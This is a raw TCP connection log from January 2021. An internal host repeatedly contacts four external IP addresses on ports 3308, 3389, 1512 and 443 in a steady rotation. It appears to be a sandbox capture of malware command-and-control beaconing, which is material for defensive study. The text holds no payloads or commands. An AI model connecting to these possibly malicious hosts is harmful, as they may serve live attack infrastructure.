Jan 11, 2021 20:48:55.823724985 CET	3308	49298	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:55.823769093 CET	3308	49298	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:55.823821068 CET	49298	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:55.823856115 CET	49298	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:55.840346098 CET	49298	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:55.885828972 CET	3308	49298	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:55.885941982 CET	49298	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:55.896230936 CET	49298	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:55.896507025 CET	49298	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:55.939707994 CET	3308	49298	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:55.940006971 CET	49298	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:55.981513977 CET	3308	49298	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:55.985647917 CET	3308	49298	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:55.985686064 CET	3308	49298	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:56.096462011 CET	3308	49298	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:56.096501112 CET	3308	49298	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:56.096806049 CET	49298	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:56.102391005 CET	49298	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:56.145673037 CET	3308	49298	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:56.224358082 CET	49299	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:56.278817892 CET	3389	49299	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:56.278955936 CET	49299	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:56.280467033 CET	49299	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:56.334487915 CET	3389	49299	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:56.353899002 CET	3389	49299	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:56.353933096 CET	3389	49299	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:56.354020119 CET	49299	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:56.354075909 CET	49299	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:56.367990017 CET	49299	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:56.428277969 CET	3389	49299	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:56.428603888 CET	49299	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:56.434010029 CET	49299	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:56.434113026 CET	49299	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:56.488285065 CET	3389	49299	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:56.488420963 CET	49299	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:56.527905941 CET	3389	49299	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:56.542788029 CET	3389	49299	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:56.542834997 CET	3389	49299	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:56.632841110 CET	3389	49299	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:56.632903099 CET	3389	49299	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:56.633105993 CET	49299	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:56.633179903 CET	49299	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:56.635562897 CET	49299	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:56.689686060 CET	3389	49299	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:56.753932953 CET	49300	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:56.807519913 CET	1512	49300	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:56.807673931 CET	49300	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:56.809197903 CET	49300	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:56.862353086 CET	1512	49300	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:56.869328976 CET	1512	49300	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:56.869370937 CET	1512	49300	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:56.869463921 CET	49300	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:56.869525909 CET	49300	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:56.886065006 CET	49300	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:56.940279961 CET	1512	49300	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:56.940408945 CET	49300	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:56.950699091 CET	49300	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:56.951059103 CET	49300	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:57.004203081 CET	1512	49300	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:57.004383087 CET	49300	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:57.057544947 CET	1512	49300	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:57.155515909 CET	1512	49300	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:57.155541897 CET	1512	49300	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:57.155890942 CET	49300	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:57.161537886 CET	49300	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:57.214617968 CET	1512	49300	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:57.269057035 CET	49301	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:57.321150064 CET	443	49301	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:57.321348906 CET	49301	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:57.322741032 CET	49301	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:57.381333113 CET	443	49301	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:57.392349005 CET	443	49301	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:57.392474890 CET	49301	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:57.398837090 CET	49301	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:57.453378916 CET	443	49301	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:57.453531981 CET	49301	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:57.457336903 CET	49301	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:57.457377911 CET	49301	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:57.511158943 CET	443	49301	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:57.511292934 CET	49301	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:57.563572884 CET	443	49301	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:57.681652069 CET	443	49301	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:57.681709051 CET	443	49301	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:57.682008028 CET	49301	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:57.686732054 CET	49301	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:57.738806963 CET	443	49301	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:57.799586058 CET	49302	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:57.869735956 CET	3308	49302	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:57.869865894 CET	49302	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:57.871489048 CET	49302	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:57.914736032 CET	3308	49302	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:57.929657936 CET	3308	49302	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:57.929697990 CET	3308	49302	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:57.929795027 CET	49302	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:57.945276976 CET	49302	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:57.991537094 CET	3308	49302	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:57.991883993 CET	49302	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:58.001909971 CET	49302	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:58.002127886 CET	49302	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:58.045305967 CET	3308	49302	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:58.045581102 CET	49302	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:58.085480928 CET	3308	49302	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:58.089027882 CET	3308	49302	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:58.089066982 CET	3308	49302	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:58.201948881 CET	3308	49302	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:58.201993942 CET	3308	49302	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:58.202270031 CET	49302	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:58.207887888 CET	49302	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:58.251267910 CET	3308	49302	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:58.330354929 CET	49303	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:58.384864092 CET	3389	49303	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:58.385059118 CET	49303	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:58.386504889 CET	49303	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:58.441006899 CET	3389	49303	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:58.470993042 CET	3389	49303	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:58.471034050 CET	3389	49303	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:58.471095085 CET	49303	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:58.471148014 CET	49303	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:58.485049009 CET	49303	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:58.545838118 CET	3389	49303	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:58.546020031 CET	49303	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:58.555928946 CET	49303	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:58.556068897 CET	49303	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:58.610059023 CET	3389	49303	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:58.610196114 CET	49303	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:58.649799109 CET	3389	49303	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:58.664254904 CET	3389	49303	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:58.664442062 CET	3389	49303	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:58.755121946 CET	3389	49303	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:58.755165100 CET	3389	49303	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:58.755423069 CET	49303	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:58.761936903 CET	49303	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:48:58.815891027 CET	3389	49303	5.100.228.233	192.168.2.22
Jan 11, 2021 20:48:58.876353025 CET	49304	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:58.929559946 CET	1512	49304	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:58.929688931 CET	49304	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:58.931346893 CET	49304	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:58.984226942 CET	1512	49304	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:58.991184950 CET	1512	49304	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:58.991214991 CET	1512	49304	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:58.991302013 CET	49304	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:58.991358042 CET	49304	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:59.014549971 CET	49304	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:59.069137096 CET	1512	49304	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:59.069503069 CET	49304	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:59.079160929 CET	49304	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:59.079336882 CET	49304	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:59.132546902 CET	1512	49304	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:59.132898092 CET	49304	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:59.171890974 CET	1512	49304	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:59.185911894 CET	1512	49304	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:59.290496111 CET	1512	49304	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:59.290540934 CET	1512	49304	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:59.290819883 CET	49304	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:59.296399117 CET	49304	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:48:59.349482059 CET	1512	49304	46.105.131.65	192.168.2.22
Jan 11, 2021 20:48:59.407460928 CET	49305	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:59.459918022 CET	443	49305	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:59.460046053 CET	49305	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:59.461483955 CET	49305	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:59.513631105 CET	443	49305	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:59.528377056 CET	443	49305	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:59.528688908 CET	49305	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:59.536596060 CET	49305	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:59.591521978 CET	443	49305	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:59.591919899 CET	49305	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:59.602157116 CET	49305	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:59.602427006 CET	49305	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:59.654834986 CET	443	49305	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:59.654953003 CET	49305	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:59.691447020 CET	443	49305	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:59.707670927 CET	443	49305	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:59.826910973 CET	443	49305	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:59.826961040 CET	443	49305	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:59.827164888 CET	49305	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:59.832724094 CET	49305	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:48:59.885019064 CET	443	49305	77.220.64.37	192.168.2.22
Jan 11, 2021 20:48:59.952727079 CET	49306	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:59.996117115 CET	3308	49306	80.86.91.27	192.168.2.22
Jan 11, 2021 20:48:59.996275902 CET	49306	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:48:59.997754097 CET	49306	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:00.040807962 CET	3308	49306	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:00.055572987 CET	3308	49306	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:00.055617094 CET	3308	49306	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:00.055723906 CET	49306	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:00.055751085 CET	49306	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:00.069816113 CET	49306	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:00.115480900 CET	3308	49306	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:00.115753889 CET	49306	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:00.125703096 CET	49306	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:00.125843048 CET	49306	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:00.169068098 CET	3308	49306	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:00.169418097 CET	49306	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:00.209249020 CET	3308	49306	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:00.212735891 CET	3308	49306	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:00.212774992 CET	3308	49306	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:00.325750113 CET	3308	49306	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:00.325792074 CET	3308	49306	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:00.326086044 CET	49306	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:00.331609964 CET	49306	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:00.374978065 CET	3308	49306	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:00.451963902 CET	49307	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:00.505774975 CET	3389	49307	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:00.505940914 CET	49307	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:00.507460117 CET	49307	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:00.561240911 CET	3389	49307	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:00.575454950 CET	3389	49307	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:00.575500011 CET	3389	49307	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:00.575619936 CET	49307	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:00.575680971 CET	49307	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:00.589020014 CET	49307	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:00.651540041 CET	3389	49307	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:00.651909113 CET	49307	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:00.661067963 CET	49307	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:00.661138058 CET	49307	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:00.714991093 CET	3389	49307	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:00.715173006 CET	49307	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:00.755130053 CET	3389	49307	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:00.769233942 CET	3389	49307	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:00.769273996 CET	3389	49307	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:00.860418081 CET	3389	49307	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:00.860462904 CET	3389	49307	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:00.860662937 CET	49307	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:00.866410017 CET	49307	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:00.920092106 CET	3389	49307	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:00.982266903 CET	49308	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:01.035418034 CET	1512	49308	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:01.035589933 CET	49308	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:01.037317991 CET	49308	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:01.090234995 CET	1512	49308	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:01.097033978 CET	1512	49308	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:01.097080946 CET	1512	49308	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:01.097193956 CET	49308	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:01.097250938 CET	49308	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:01.113786936 CET	49308	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:01.167964935 CET	1512	49308	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:01.168219090 CET	49308	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:01.178457975 CET	49308	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:01.178780079 CET	49308	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:01.231739998 CET	1512	49308	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:01.231998920 CET	49308	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:01.271727085 CET	1512	49308	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:01.285121918 CET	1512	49308	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:01.285161972 CET	1512	49308	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:01.385556936 CET	1512	49308	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:01.385598898 CET	1512	49308	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:01.385863066 CET	49308	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:01.391601086 CET	49308	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:01.444612980 CET	1512	49308	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:01.513482094 CET	49309	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:01.565905094 CET	443	49309	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:01.566133022 CET	49309	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:01.568672895 CET	49309	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:01.620708942 CET	443	49309	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:01.635515928 CET	443	49309	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:01.635677099 CET	49309	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:01.649650097 CET	49309	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:01.704158068 CET	443	49309	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:01.704375982 CET	49309	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:01.714958906 CET	49309	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:01.715394020 CET	49309	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:01.768115997 CET	443	49309	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:01.768297911 CET	49309	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:01.820596933 CET	443	49309	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:01.939326048 CET	443	49309	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:01.939373970 CET	443	49309	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:01.939469099 CET	49309	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:01.939526081 CET	49309	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:01.943286896 CET	49309	443	192.168.2.22	77.220.64.37
Jan 11, 2021 20:49:01.995290995 CET	443	49309	77.220.64.37	192.168.2.22
Jan 11, 2021 20:49:02.053515911 CET	49310	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:02.096590996 CET	3308	49310	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:02.096671104 CET	49310	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:02.097516060 CET	49310	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:02.141285896 CET	3308	49310	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:02.151597977 CET	3308	49310	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:02.151644945 CET	3308	49310	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:02.151681900 CET	49310	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:02.151715040 CET	49310	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:02.171402931 CET	49310	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:02.216857910 CET	3308	49310	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:02.217109919 CET	49310	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:02.227603912 CET	49310	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:02.228017092 CET	49310	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:02.271087885 CET	3308	49310	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:02.271254063 CET	49310	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:02.312264919 CET	3308	49310	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:02.314464092 CET	3308	49310	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:02.314496994 CET	3308	49310	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:02.426857948 CET	3308	49310	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:02.426923037 CET	3308	49310	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:02.427198887 CET	49310	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:02.433207989 CET	49310	3308	192.168.2.22	80.86.91.27
Jan 11, 2021 20:49:02.476454020 CET	3308	49310	80.86.91.27	192.168.2.22
Jan 11, 2021 20:49:02.542346954 CET	49311	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:02.596369982 CET	3389	49311	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:02.596472979 CET	49311	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:02.598000050 CET	49311	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:02.651993990 CET	3389	49311	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:02.678194046 CET	3389	49311	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:02.678242922 CET	3389	49311	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:02.678303957 CET	49311	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:02.680969954 CET	49311	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:02.690983057 CET	49311	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:02.761351109 CET	3389	49311	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:02.761589050 CET	49311	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:02.774714947 CET	49311	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:02.774772882 CET	49311	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:02.828983068 CET	3389	49311	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:02.829807997 CET	49311	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:02.868098021 CET	3389	49311	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:02.883682013 CET	3389	49311	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:02.883723021 CET	3389	49311	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:02.973902941 CET	3389	49311	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:02.973953962 CET	3389	49311	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:02.974090099 CET	49311	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:02.979710102 CET	49311	3389	192.168.2.22	5.100.228.233
Jan 11, 2021 20:49:03.033587933 CET	3389	49311	5.100.228.233	192.168.2.22
Jan 11, 2021 20:49:03.088819027 CET	49312	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:03.141918898 CET	1512	49312	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:03.142096996 CET	49312	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:03.143834114 CET	49312	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:03.196661949 CET	1512	49312	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:03.203500986 CET	1512	49312	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:03.203546047 CET	1512	49312	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:03.203605890 CET	49312	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:03.203644991 CET	49312	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:03.218215942 CET	49312	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:03.272908926 CET	1512	49312	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:03.273101091 CET	49312	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:03.283690929 CET	49312	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:03.284076929 CET	49312	1512	192.168.2.22	46.105.131.65
Jan 11, 2021 20:49:03.337045908 CET	1512	49312	46.105.131.65	192.168.2.22
Jan 11, 2021 20:49:03.337368011 CET	49312	1512	192.168.2.22	46.105.131.65
